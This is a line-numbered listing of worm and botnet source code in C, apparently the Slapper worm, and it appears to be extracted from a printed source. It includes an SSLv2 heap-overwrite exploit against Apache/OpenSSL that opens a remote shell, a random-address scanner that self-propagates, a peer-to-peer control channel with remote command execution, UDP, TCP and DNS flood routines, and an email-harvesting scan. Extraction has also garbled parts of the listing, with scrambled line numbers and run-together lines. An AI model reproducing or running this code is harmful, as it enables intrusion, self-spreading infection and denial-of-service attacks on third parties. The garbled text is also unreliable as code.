1612     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
1613     if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);
1614     if (len <= 112) exit(1);
1615     cipher = *(int*)&buf[101];
1616     ciphers = *(int*)&buf[109];
1617 }
1618

```

```

1619 void get_server_error(ssl_conn* ssl) {
1620     unsigned char buf[BUFSIZE];
1621     int len;
1622     if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) exit(1);
1623 }
1624
1625 void exploit(char *ip) {
1626     int port = 443;
1627     int i;
1628     int arch=-1;
1629     int N = 20;
1630     ssl_conn* ssl1;
1631     ssl_conn* ssl2;
1632     char *a;
1633
1634     alarm(3600);
1635     if ((a=GetAddress(ip)) == NULL) exit(0);
1636     if (strcmp(a,"Apache",6)) exit(0);
1637     for (i=0;i<MAX_ARCH;i++) {
1638         if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
1639             arch=i;
1640             break;
1641         }
1642     }
1643     if (arch == -1) arch=9;
1644
1645     srand(0x31337);
1646
1647     for (i=0; i<N; i++) {
1648         connect_host(ip, port);
1649         usleep(100000);
1650     }
1651
1652     ssl1 = ssl_connect_host(ip, port);
1653     ssl2 = ssl_connect_host(ip, port);
1654
1655     send_client_hello(ssl1);
1656     get_server_hello(ssl1);
1657     send_client_master_key(ssl1, overwrite_session_id_length,
sizeof(overwrite_session_id_length)-1);
1658     generate_session_keys(ssl1);
1659     get_server_verify(ssl1);
1660     send_client_finished(ssl1);
1661     get_server_finished(ssl1);
1662
1663     port = get_local_port(ssl2->sock);
1664     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
1665     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
1666
1667     *(int*)&overwrite_next_chunk[156] = cipher;
1668     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
1669     *(int*)&overwrite_next_chunk[196] = ciphers + 16;
1670
1671     send_client_hello(ssl2);
1672     get_server_hello(ssl2);

```

```

1673
1674     send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
1675     generate_session_keys(ssl2);
1676     get_server_verify(ssl2);
1677
1678     for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >>
1679 24);
1680
1681     send_client_finished(ssl2);
1682     get_server_error(ssl2);
1683
1684     sh(ssl2->sock);
1685
1686     close(ssl2->sock);
1687     close(ssl1->sock);
1688
1689     exit(0);
1690 }
1691 #endif
1692
1693 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
1694 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
1695 ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
1696 int main(int argc, char **argv) {
1697 #ifdef SCAN
1698     unsigned char a=0,b=0,c=0,d=0;
1699 #endif
1700     unsigned long bases,*cpbases;
1701     struct initsrv_rec initrec;
1702     int null=open("/dev/null",O_RDWR);
1703     uptime=time(NULL);
1704     if (argc <= 1) {
1705         printf("%s: Exec format error. Binary file not executable.\n",argv[0]);
1706         return 0;
1707     }
1708     srand(time(NULL)^getpid());
1709     memset((char*)&routes,0,sizeof(struct route_table)*24);
1710     memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
1711     if (audp_listen(&udpserver,PORT) != 0) {
1712         printf("Error: %s\n",aerror(&udpserver));
1713         return 0;
1714     }
1715     memset((void*)&initrec,0,sizeof(struct initsrv_rec));
1716     initrec.h.tag=0x70;
1717     initrec.h.len=0;
1718     initrec.h.id=0;
1719     cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
1720     if (cpbases == NULL) {
1721         printf("Insufficient memory\n");
1722         return 0;
1723     }
1724     for (bases=1;bases<argc;bases++) {
1725         cpbases[bases-1]=aresolve(argv[bases]);
1726         relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));

```

```

1727     }
1728     numlinks=0;
1729     dup2(null,0);
1730     dup2(null,1);
1731     dup2(null,2);
1732     if (fork()) return 1;
1733 #ifdef SCAN
1734     a=classes[rand()%(sizeof classes)];
1735     b=rand();
1736     c=0;
1737     d=0;
1738 #endif
1739     signal(SIGCHLD,nas);
1740     signal(SIGHUP,nas);
1741     while (1) {
1742         static unsigned long timeout=0,timeout2=0,timeout3=0;
1743         char buf_[3000],*buf=buf_;
1744         int n=0,p=0;
1745         long l=0,i=0;
1746         unsigned long start=time(NULL);
1747         fd_set read;
1748         struct timeval tm;
1749
1750         FD_ZERO(&read);
1751         if (udpserver.sock > 0) FD_SET(udpserver.sock,&read);
1752         udpserver.len=0;
1753         l=udpserver.sock;
1754         for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock > 0) {
1755             FD_SET(clients[n].sock,&read);
1756             clients[n].len=0;
1757             if (clients[n].sock > l) l=clients[n].sock;
1758         }
1759         memset((void*)&tm,0,sizeof(struct timeval));
1760         tm.tv_sec=2;
1761         tm.tv_usec=0;
1762         l=select(l+1,&read,NULL,NULL,&tm);
1763
1764         if (l == -1) {
1765             if (errno == EINTR) {
1766                 for (i=0;i<numpids;i++) if
(waitpid(pids[i],NULL,WNOHANG) > 0) {
1767                     unsigned int *newpids,on;
1768                     for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
1769                     pids[on-1]=0;
1770                     numpids--;
1771                     newpids=(unsigned
int*)malloc((numpids+1)*sizeof(unsigned int));
1772                     if (newpids != NULL) {
1773                         for (on=0;on<numpids;on++)
newpids[on]=pids[on];
1774                         FREE(pids);
1775                         pids=newpids;
1776                     }
1777                 }
1778             }

```

```

1779             continue;
1780         }
1781         timeout+=time(NULL)-start;
1782         if (timeout >= 60) {
1783             if (links == NULL || numlinks == 0) {
1784                 memset((void*)&initrec,0,sizeof(struct initsrv_rec));
1785                 initrec.h.tag=0x70;
1786                 initrec.h.len=0;
1787                 initrec.h.id=0;
1788                 for (i=0;i<bases;i++)
relay(cpbases[i],(char*)&initrec,sizeof(struct initsrv_rec));
1789             }
1790             else if (!myip) {
1791                 memset((void*)&initrec,0,sizeof(struct initsrv_rec));
1792                 initrec.h.tag=0x74;
1793                 initrec.h.len=0;
1794                 initrec.h.id=0;
1795                 segment(2,(char*)&initrec,sizeof(struct initsrv_rec));
1796             }
1797             timeout=0;
1798         }
1799         timeout2+=time(NULL)-start;
1800         if (timeout2 >= 3) {
1801             struct mqueue *getqueue=queues;
1802             while(getqueue != NULL) {
1803                 if (time(NULL)-getqueue->time > gettimeout()) {
1804                     struct mqueue *l=getqueue->next;
1805                     delqueue(getqueue->id);
1806                     delqueue(getqueue->id);
1807                     getqueue=l;
1808                     continue;
1809                 }
1810                 else if ((time(NULL)-getqueue->ltime) >= (getqueue-
>destination?6:3)) {
1811                     struct ainst ts;
1812                     char srv[256];
1813                     unsigned char i;
1814                     memset((void*)&ts,0,sizeof(struct ainst));
1815                     getqueue->ltime=time(NULL);
1816                     if (getqueue->destination) {
1817                         conv(srv,256,getqueue->destination);
1818                         audp_relay(&udpserver,&ts,srv,getqueue-
>port);
1819                         audp_send(&ts,getqueue->packet,getqueue-
>len);
1820                     }
1821                     else for (i=0;i<getqueue->trys;i++)
segment(0,getqueue->packet,getqueue->len);
1822                 }
1823                 getqueue=getqueue->next;
1824             }
1825             timeout2=0;
1826         }
1827         timeout3+=time(NULL)-start;
1828         if (timeout3 >= 60*10) {

```



```

1829             char buf[2]={0,0};
1830             syncmode(1);
1831             broadcast(buf,1);
1832             timeout3=0;
1833         }
1834
1835         if (udpserver.sock > 0 && FD_ISSET(udpserver.sock,&read))
udpserver.len=AREAD;
1836
1837         for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock > 0) if
(FD_ISSET(clients[n].sock,&read)) clients[n].len=AREAD;
1838
1839     #ifdef SCAN
1840         if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if
clients[n].sock == 0) {
1841             char srv[256];
1842             if (d == 255) {
1843                 if (c == 255) {
1844                     a=classes[rand()%(sizeof classes)];
1845                     b=rand();
1846                     c=0;
1847                 }
1848                 else c++;
1849                 d=0;
1850             }
1851             else d++;
1852             memset(srv,0,256);
1853             sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
1854             clients[n].ext=time(NULL);
1855             atcp_sync_connect(&clients[n],srv,SCANPORT);
1856             p++;
1857         }
1858         for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
1859             p=atcp_sync_check(&clients[n]);
1860             if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned
long)clients[n].ext) >= 5) atcp_close(&clients[n]);
1861             if (p == ASUCCESS) {
1862                 char srv[256];
1863                 conv(srv,256,clients[n].in.sin_addr.s_addr);
1864                 if (mfork() == 0) {
1865                     exploit(srv);
1866                     exit(0);
1867                 }
1868             }
1869         }
1870     #endif
1871
1872         for (n=0;n<CLIENTS;n++) if (clients[n].sock != 0) {
1873             if (clients[n].ext2 == TCP_PENDING) {
1874                 struct add_rec rc;
1875                 memset((void*)&rc,0,sizeof(struct add_rec));
1876                 p=atcp_sync_check(&clients[n]);
1877                 if (p == ACONNECT) {
1878                     rc.h.tag=0x42;
1879                     rc.h.seq=newseq();
1880                     rc.h.id=clients[n].ext3;

```

```

1880         relayclient(clients[n].ext,(void*)&rc,sizeof(struct
add_rec));
1881         FREE(clients[n].ext);
1882         FREE(clients[n].ext5);
1883         atcp_close(&clients[n]);
1884     }
1885     if (p == ASUCCESS) {
1886         rc.h.tag=0x43;
1887         rc.h.seq=newseq();
1888         rc.h.id=clients[n].ext3;
1889         relayclient(clients[n].ext,(void*)&rc,sizeof(struct
add_rec));
1890         clients[n].ext2=TCP_CONNECTED;
1891         if (clients[n].ext5) {
1892             atcp_send(&clients[n],clients[n].ext5,9);
1893             clients[n].ext2=SOCKS_REPLY;
1894         }
1895     }
1896 }
1897 else if (clients[n].ext2 == SOCKS_REPLY && clients[n].len != 0) {
1898     struct add_rec rc;
1899     memset((void*)&rc,0,sizeof(struct add_rec));
1900     l=atcp_rcv(&clients[n],buf,3000);
1901     if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
1902     else {
1903         rc.h.tag=0x42;
1904         rc.h.seq=newseq();
1905         rc.h.id=clients[n].ext3;
1906         relayclient(clients[n].ext,(void*)&rc,sizeof(struct
add_rec));
1907         FREE(clients[n].ext);
1908         FREE(clients[n].ext5);
1909         atcp_close(&clients[n]);
1910     }
1911 }
1912 else if (clients[n].ext2 == TCP_CONNECTED && clients[n].len != 0)
{
1913     struct data_rec rc;
1914     memset((void*)&rc,0,sizeof(struct data_rec));
1915     l=atcp_rcv(&clients[n],buf+sizeof(struct data_rec),3000-
sizeof(struct data_rec));
1916     if (l == AUNKNOWN) {
1917         struct kill_rec rc;
1918         memset((void*)&rc,0,sizeof(struct kill_rec));
1919         rc.h.tag=0x42;
1920         rc.h.seq=newseq();
1921         rc.h.id=clients[n].ext3;
1922         relayclient((struct ainst
*)clients[n].ext,(void*)&rc,sizeof(struct kill_rec));
1923         FREE(clients[n].ext);
1924         FREE(clients[n].ext5);
1925         atcp_close(&clients[n]);
1926     }
1927     else {
1928         l=clients[n].len;

```

```

1929         rc.h.tag=0x41;
1930         rc.h.seq=newseq();
1931         rc.h.id=clients[n].ext3;
1932         rc.h.len=1;
1933         _encrypt(buf+sizeof(struct data_rec),1);
1934         memcpy(buf,(void*)&rc,sizeof(struct data_rec));
1935         relayclient((struct ainst
*)clients[n].ext,buf,1+sizeof(struct data_rec));
1936     }
1937 }
1938 }
1939
1940     if (udpserver.len != 0) if (!audp_rcv(&udpserver,&udpclient,buf,3000)) {
1941         struct llheader *llrp, ll;
1942         struct header *tmp;
1943         in++;
1944         if (udpserver.len < 0 || udpserver.len < sizeof(struct llheader)) continue;
1945         buf+=sizeof(struct llheader);
1946         udpserver.len-=sizeof(struct llheader);
1947         llrp=(struct llheader*)(buf-sizeof(struct llheader));
1948         tmp=(struct header*)buf;
1949         if (llrp->type == 0) {
1950             memset((void*)&ll,0,sizeof(struct llheader));
1951             if (llrp->checksum != in_cksum(buf,udpserver.len)) continue;
1952             if (!usersa(llrp->id)) addrsa(llrp->id);
1953             else continue;
1954             ll.type=1;
1955             ll.checksum=0;
1956             ll.id=llrp->id;
1957             if (tmp->tag != 0x26)
audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));
1958         }
1959         else if (llrp->type == 1) {
1960             delqueue(llrp->id);
1961             continue;
1962         }
1963         else continue;
1964         if (udpserver.len >= sizeof(struct header)) {
1965             switch(tmp->tag) {
1966                 case 0x20: { // Info
1967                     struct getinfo_rec *rp=(struct getinfo_rec
*)buf;
1968                     struct info_rec rc;
1969                     if (udpserver.len < sizeof(struct
getinfo_rec)) break;
1970                     memset((void*)&rc,0,sizeof(struct
info_rec));
1971                     rc.h.tag=0x47;
1972                     rc.h.id=tmp->id;
1973                     rc.h.seq=newseq();
1974                     rc.h.len=0;
1975                     #ifdef SCAN
1976                     rc.a=a;
1977                     rc.b=b;
1978                     rc.c=c;

```

```

1979         rc.d=d;
1980     #endif
1981
1982         rc.ip=myip;
1983         rc.uptime=time(NULL)-uptime;
1984         rc.in=in;
1985         rc.out=out;
1986         rc.version=VERSION;
1987         rc.reqtime=rp->time;
1988         rc.reqmtime=rp->mtime;
1989     relayclient(&udpclient,(char*)&rc,sizeof(struct info_rec));
1990     } break;
1991     case 0x21: { // Open a bounce
1992         struct add_rec *sr=(struct add_rec *)buf;
1993         if (udpserver.len < sizeof(struct add_rec))
1994             break;
1995         for (n=0;n<CLIENTS;n++) if
1996             (clients[n].sock == 0) {
1997             1994         char srv[256];
1998             1995         if (sr->socks == 0) conv(srv,256,sr-
1999             >server);
2000             1996         else conv(srv,256,sr->socks);
2001             1997         clients[n].ext2=TCP_PENDING;
2002             1998         clients[n].ext3=sr->h.id;
2003             1999         clients[n].ext=(struct
2004             ainst*)malloc(sizeof(struct ainst));
2005             2000         if (clients[n].ext == NULL) {
2006             2001             clients[n].sock=0;
2007             2002             break;
2008             2003         }
2009             2004         memcpy((void*)clients[n].ext,(void*)&udpclient,sizeof(struct ainst));
2010             2005         if (sr->socks == 0) {
2011             2006             clients[n].ext5=NULL;
2012             2007         atcp_sync_connect(&clients[n],srv,sr->port);
2013             2008         }
2014             2009         else {
2015             2010         clients[n].ext5=(char*)malloc(9);
2016             2011         if (clients[n].ext5 ==
2017             NULL) {
2018             2012         clients[n].sock=0;
2019             2013         break;
2020             2014         }
2021             2015         ((char*)clients[n].ext5)[0]=0x04;
2022             2016         ((char*)clients[n].ext5)[1]=0x01;
2023             2017         ((char*)clients[n].ext5)[2]=((char*)&sr->port)[1];
2024             2018         ((char*)clients[n].ext5)[3]=((char*)&sr->port)[0];

```

```

2019 ((char*)clients[n].ext5)[4]=((char*)&sr->server)[0];
2020 ((char*)clients[n].ext5)[5]=((char*)&sr->server)[1];
2021 ((char*)clients[n].ext5)[6]=((char*)&sr->server)[2];
2022 ((char*)clients[n].ext5)[7]=((char*)&sr->server)[3];
2023 ((char*)clients[n].ext5)[8]=0x00;
2024 atcp_sync_connect(&clients[n],srv,1080);
2025 }
2026 if (sr->bind) abind(&clients[n],sr-
>bind,0);
2027 break;
2028 }
2029 } break;
2030 case 0x22: { // Close a bounce
2031 struct kill_rec *sr=(struct kill_rec *)buf;
2032 if (udpserver.len < sizeof(struct kill_rec))
break;
2033 for (n=0;n<CLIENTS;n++) if
(clients[n].ext3 == sr->h.id) {
2034 FREE(clients[n].ext);
2035 FREE(clients[n].ext5);
2036 atcp_close(&clients[n]);
2037 }
2038 } break;
2039 case 0x23: { // Send a message to a bounce
2040 struct data_rec *sr=(struct data_rec *)buf;
2041 if (udpserver.len < sizeof(struct
data_rec)+sr->h.len) break;
2042 for (n=0;n<CLIENTS;n++) if
(clients[n].ext3 == sr->h.id) {
2043 _decrypt(buf+sizeof(struct
data_rec),sr->h.len);
2044 atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->h.len);
2045 }
2046 } break;
2047 #ifndef LARGE_NET
2048 case 0x24: { // Run a command
2049 FILE *f;
2050 struct sh_rec *sr=(struct sh_rec *)buf;
2051 int id;
2052 if (udpserver.len < sizeof(struct sh_rec)+sr-
>h.len || sr->h.len > 2999-sizeof(struct sh_rec)) break;
2053 id=sr->h.id;
2054 (buf+sizeof(struct sh_rec))[sr->h.len]=0;
2055 _decrypt(buf+sizeof(struct sh_rec),sr-
>h.len);
2056 f=popen(buf+sizeof(struct sh_rec),"r");
2057 if (f != NULL) {
2058 while(1) {

```

```

2059                                     struct data_rec rc;
2060                                     char *str;
2061                                     unsigned long len;
2062                                     memset(buf,0,3000);
2063                                     fgets(buf,3000,f);
2064                                     if (feof(f)) break;
2065                                     len=strlen(buf);
2066
2067     memset((void*)&rc,0,sizeof(struct data_rec));
2068                                     rc.h.tag=0x41;
2069                                     rc.h.seq=newseq();
2070                                     rc.h.id=id;
2071                                     rc.h.len=len;
2072                                     _encrypt(buf,len);
2073
2074     str=(char*)malloc(sizeof(struct data_rec)+len);
2075                                     if (str == NULL) break;
2076
2077     memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
2078
2079     memcpy((void*)(str+sizeof(struct data_rec)),buf,len);
2080
2081     relayclient(&udpclient,str,sizeof(struct data_rec)+len);
2082                                     FREE(str);
2083                                     }
2084                                     pclose(f);
2085                                     }
2086                                     else senderror(&udpclient,id,"Unable to
execute command");
2087                                     } break;
2088 #endif
2089
2090     case 0x25: {
2091     case 0x26: { // Route
2092     struct route_rec *rp=(struct route_rec *)buf;
2093     unsigned long i;
2094     if (udpserver.len < sizeof(struct route_rec))
2095
2096     if (!useseq(rp->h.seq)) {
2097     addseq(rp->h.seq);
2098
2099     audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));
2100
2101     if (rp->sync == 1 && rp->links !=
numlinks) {
2102     if (time(NULL)-synctime
> 60) {
2103     if (rp->links >
numlinks) {
2104
2105     memset((void*)&initrec,0,sizeof(struct initsrv_rec));
2106
2107     initrec.h.tag=0x72;
2108
2109     initrec.h.len=0;

```

```

2100     initrec.h.id=0;
2101     relayclient(&udpclient,(char*)&initrec,sizeof(struct initsrv_rec));
2102                                     }
2103                                     else
syncm(&udpclient,0x71,0);
2104     synctime=time(NULL);
2105                                     }
2106                                     }
2107                                     if (rp->sync != 3) {
2108                                         rp->sync=1;
2109                                         rp->links=numlinks;
2110                                     }
2111
2112                                     if (rp->server == -1 || rp->server ==
0 || rp->server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->h.len-sizeof(struct
route_rec));
2113
2114                                     if (rp->server == -1 || rp->server ==
0) segment(2,buf,rp->h.len);
2115                                     else if (rp->server != myip) {
2116                                         if (rp->hops == 0 || rp-
>hops > 16) relay(rp->server,buf,rp->h.len);
2117                                         else {
2118                                             rp->hops--;
2119                                             segment(2,buf,rp-
>h.len);
2120                                         }
2121                                     }
2122
2123                                     for (i=LINKS;i>0;i--)
memcpy((struct route_table*)&routes[i],(struct route_table*)&routes[i-1],sizeof(struct route_table));
2124                                     memset((struct
route_table*)&routes[0],0,sizeof(struct route_table));
2125                                     routes[0].id=rp->h.id;
2126
2127                                     routes[0].ip=udpclient.in.sin_addr.s_addr;
2128
2129                                     routes[0].port=htons(udpclient.in.sin_port);
2130                                     }
2131                                     } break;
2132     case 0x27: {
2133         } break;
2134     case 0x28: { // List
2135         struct list_rec *rp=(struct list_rec *)buf;
2136         if (udpserver.len < sizeof(struct list_rec))
break;
2137         syncm(&udpclient,0x46,rp->h.id);
2138         } break;
2139     case 0x29: { // Udp flood
2140         int flag=1,fd,i=0;
2141         char *str;
2142         struct sockaddr_in in;

```

```

2141
2142
2143
break;
2144
2145
>h.id,"Size must be less than or equal to 9216\n");
2146
2147
2148
2149
>h.id,"Cannot packet local networks\n");
2150
2151
2152
2153
2154
2155
2156
sockaddr_in);
2157
2158
2159
2160
2161
rand();
2162
socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
2163
2164
0);
2165
2166
2167
>size,0,(struct sockaddr*)&in,sizeof(in));
2168
2169
2170
2171
start+rp->secs) exit(0);
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
break;
2184

time_t start=time(NULL);
struct udp_rec *rp=(struct udp_rec *)buf;
if (udpserver.len < sizeof(struct udp_rec))

if (rp->size > 9216) {
    senderror(&udpclient,rp-
        break;
    }
if (!isreal(rp->target)) {
    senderror(&udpclient,rp-
        break;
    }
if (waitforqueues()) break;
str=(char*)malloc(rp->size);
if (str == NULL) break;
for (i=0;i<rp->size;i++) str[i]=rand();
memset((void*)&in,0,sizeof(struct
in.sin_addr.s_addr=rp->target;
in.sin_family=AF_INET;
in.sin_port=htons(rp->port);
while(1) {
    if (rp->port == 0) in.sin_port =
        if ((fd =
            else {
                flag = fcntl(fd, F_GETFL,
                    flag |= O_NONBLOCK;
                    fcntl(fd, F_SETFL, flag);
                    sendto(fd,str,rp-
                        close(fd);
                    }
                    if (i >= 50) {
                        if (time(NULL) >=
                            i=0;
                        }
                        i++;
                    }
                    FREE(str);
                    } exit(0);
case 0x2A: { // Tcp flood
    int flag=1,fd,i=0;
    struct sockaddr_in in;
    time_t start=time(NULL);
    struct tcp_rec *rp=(struct tcp_rec *)buf;
    if (udpserver.len < sizeof(struct tcp_rec))

    if (!isreal(rp->target)) {

```



```

2185             senderror(&udpclient,rp-
>h.id,"Cannot packet local networks\n");
2186             break;
2187         }
2188         if (waitforqueues()) break;
2189         memset((void*)&in,0,sizeof(struct
sockaddr_in));
2190         in.sin_addr.s_addr=rp->target;
2191         in.sin_family=AF_INET;
2192         in.sin_port=htons(rp->port);
2193         while(1) {
2194             if (rp->port == 0) in.sin_port =
rand();
2195             if ((fd = socket(AF_INET,
SOCK_STREAM, IPPROTO_TCP)) < 0);
2196             else {
2197                 flag = fcntl(fd, F_GETFL,
0);
2198                 flag |= O_NONBLOCK;
2199                 fcntl(fd, F_SETFL, flag);
2200                 connect(fd, (struct
sockaddr *)&in, sizeof(in));
2201                 close(fd);
2202             }
2203             if (i >= 50) {
2204                 if (time(NULL) >=
start+rp->secs) exit(0);
2205                 i=0;
2206             }
2207             i++;
2208         }
2209         } exit(0);
2210 #ifndef NOIPv6
2211         case 0x2B: { // IPv6 Tcp flood
2212             int flag=1,fd,i=0,j=0;
2213             struct sockaddr_in6 in;
2214             time_t start=time(NULL);
2215             struct tcp6_rec *rp=(struct tcp6_rec *)buf;
2216             if (udpserver.len < sizeof(struct tcp6_rec))
break;
2217             if (waitforqueues()) break;
2218             memset((void*)&in,0,sizeof(struct
sockaddr_in6));
2219             for (i=0;i<4;i++) for (j=0;j<4;j++)
((char*)&in.sin6_addr.s6_addr[i])[j]=((char*)&rp->target[i])[j];
2220             in.sin6_family=AF_INET6;
2221             in.sin6_port=htons(rp->port);
2222             while(1) {
2223                 if (rp->port == 0) in.sin6_port =
rand();
2224                 if ((fd = socket(AF_INET6,
SOCK_STREAM, IPPROTO_TCP)) < 0);
2225                 else {
2226                     flag = fcntl(fd, F_GETFL,
0);

```

```

2227                                     flag |= O_NONBLOCK;
2228                                     fcntl(fd, F_SETFL, flag);
2229                                     connect(fd, (struct
sockaddr *)&in, sizeof(in));
2230                                     close(fd);
2231                                     }
2232                                     if (i >= 50) {
2233                                         if (time(NULL) >=
start+rp->secs) exit(0);
2234                                         i=0;
2235                                         }
2236                                         i++;
2237                                     }
2238                                     } exit(0);
2239 #endif
2240 case 0x2C: { // Dns flood
2241     struct dns {
2242         unsigned short int id;
2243         unsigned char rd:1;
2244         unsigned char tc:1;
2245         unsigned char aa:1;
2246         unsigned char opcode:4;
2247         unsigned char qr:1;
2248         unsigned char rcode:4;
2249         unsigned char unused:2;
2250         unsigned char pr:1;
2251         unsigned char ra:1;
2252         unsigned short int que_num;
2253         unsigned short int rep_num;
2254         unsigned short int num_rr;
2255         unsigned short int num_rrsup;
2256         char buf[128];
2257     } dnsp;
2258     unsigned long len=0,i=0,startm;
2259     int fd,flag;
2260     char *convo;
2261     struct sockaddr_in in;
2262     struct df_rec *rp=(struct df_rec *)buf;
2263     time_t start=time(NULL);
2264     if (udpserver.len < sizeof(struct df_rec)+rp-
>h.len || rp->h.len > 2999-sizeof(struct df_rec)) break;
2265     if (!isreal(rp->target)) {
2266         senderror(&udpclient,rp-
break;
2267     }
2268     }
2269     if (waitforqueues()) break;
2270     memset((void *)&in,0,sizeof(struct
sockaddr_in));
2271     in.sin_addr.s_addr=rp->target;
2272     in.sin_family=AF_INET;
2273     in.sin_port=htons(53);
2274     dnsp.rd=1;
2275     dnsp.tc=0;
2276     dnsp.aa=0;

```

```

2277         dnsp.opcode=0;
2278         dnsp.qr=0;
2279         dnsp.rcode=0;
2280         dnsp.unused=0;
2281         dnsp.pr=0;
2282         dnsp.ra=0;
2283         dnsp.que_num=256;
2284         dnsp.rep_num=0;
2285         dnsp.num_rr=0;
2286         dnsp.num_rrsup=0;
2287         convo=buf+sizeof(struct df_rec);
2288         convo[rp->h.len]=0;
2289         _decrypt(convo,rp->h.len);
2290         for (i=0,startm=0;i<=rp->h.len;i++) if
(convo[i] == '.' || convo[i] == 0) {
2291             convo[i]=0;
2292             sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm);
2293             len+=1+strlen(convo+startm);
2294             startm=i+1;
2295         }
2296         dnsp.buf[len++]=0;
2297         dnsp.buf[len++]=0;
2298         dnsp.buf[len++]=1;
2299         dnsp.buf[len++]=0;
2300         dnsp.buf[len++]=1;
2301         while(1) {
2302             dnsp.id=rand();
2303             if ((fd =
socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
2304             else {
2305                 flag = fcntl(fd, F_GETFL,
0);
2306                 flag |= O_NONBLOCK;
2307                 fcntl(fd, F_SETFL, flag);
2308                 sendto(fd,(char*)&dnsp,sizeof(struct dns)+len-128,0,(struct sockaddr*)&in,sizeof(in));
2309                 close(fd);
2310             }
2311             if (i >= 50) {
2312                 if (time(NULL) >=
start+rp->secs) exit(0);
2313                 i=0;
2314             }
2315             i++;
2316         }
2317         } exit(0);
2318         case 0x2D: { // Email scan
2319             char ip[256];
2320             struct escan_rec *rp=(struct escan_rec *)buf;
2321             if (udpserver.len < sizeof(struct escan_rec))
break;
2322             if (!isreal(rp->ip)) {
2323                 senderror(&udpclient,rp-
>h.id,"Invalid IP\n");

```

```

2324         break;
2325     }
2326     conv(ip,256,rp->ip);
2327     if (mfork() == 0) {
2328         struct _linklist *getb;
2329         struct ainst client;
2330         StartScan("");
2331
2332         audp_setup(&client,(char*)ip,ESCANPORT);
2333
2334         getb=linklist;
2335         while(getb != NULL) {
2336             unsigned long
2337             audp_send(&client,getb-
2338             >name,len);
2339             getb=getb->next;
2340         }
2341         audp_close(&client);
2342         exit(0);
2343     } break;
2344     case 0x70: { // Incomming client
2345         struct {
2346             struct addsrv_rec a;
2347             unsigned long server;
2348         } rc;
2349         struct myip_rec rp;
2350         if (!isreal(udpclient.in.sin_addr.s_addr))
2351         break;
2352         syncmode(3);
2353         memset((void*)&rp,0,sizeof(struct
2354         myip_rec));
2355         rp.h.tag=0x73;
2356         rp.h.id=0;
2357         rp.ip=udpclient.in.sin_addr.s_addr;
2358         relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec));
2359
2360         memset((void*)&rc,0,sizeof(rc));
2361         rc.a.h.tag=0x71;
2362         rc.a.h.id=0;
2363         rc.a.h.len=sizeof(unsigned long);
2364         rc.server=udpclient.in.sin_addr.s_addr;
2365         broadcast((void*)&rc,sizeof(rc));
2366         syncmode(1);
2367
2368         addserver(rc.server);
2369         syncm(&udpclient,0x71,0);
2370     } break;
2371     case 0x71: { // Receive the list
2372         struct addsrv_rec *rp=(struct addsrv_rec
2373         *)buf;
2374         struct next_rec { unsigned long server; };
2375         unsigned long a;

```

```

2372         char b=0;
2373         if (udpserver.len < sizeof(struct addsrv_rec))
break;
2374         for (a=0;rp->h.len > a*sizeof(struct
next_rec) && udpserver.len > sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec));a++) {
2375             struct next_rec *fc=(struct
next_rec*)(buf+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec)));
2376             addserver(fc->server);
2377         }
2378         for (a=0;a<numlinks;a++) if (links[a] ==
udpclient.in.sin_addr.s_addr) b=1;
2379         if (!b &&
isreal(udpclient.in.sin_addr.s_addr)) {
2380             struct myip_rec rp;
2381             memset((void*)&rp,0,sizeof(struct
myip_rec));
2382             rp.h.tag=0x73;
2383             rp.h.id=0;
2384             rp.ip=udpclient.in.sin_addr.s_addr;
2385
relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec));
2386
addserver(udpclient.in.sin_addr.s_addr);
2387     }
2388     } break;
2389     case 0x72: { // Send the list
2390         syncm(&udpclient,0x71,0);
2391     } break;
2392     case 0x73: { // Get my IP
2393         struct myip_rec *rp=(struct myip_rec *)buf;
2394         if (udpserver.len < sizeof(struct myip_rec))
break;
2395         if (!myip && isreal(rp->ip)) {
2396             myip=rp->ip;
2397             addserver(rp->ip);
2398         }
2399     } break;
2400     case 0x74: { // Transmit their IP
2401         struct myip_rec rc;
2402         memset((void*)&rc,0,sizeof(struct
myip_rec));
2403         rc.h.tag=0x73;
2404         rc.h.id=0;
2405         rc.ip=udpclient.in.sin_addr.s_addr;
2406         if (!isreal(rc.ip)) break;
2407
relayclient(&udpclient,(void*)&rc,sizeof(struct myip_rec));
2408     } break;
2409     case 0x41: // --|
2410     case 0x42: // |
2411     case 0x43: // |
2412     case 0x44: // |---> Relay to client
2413     case 0x45: // |
2414     case 0x46: // |
2415     case 0x47: { // --|

```

```

2416 unsigned long a;
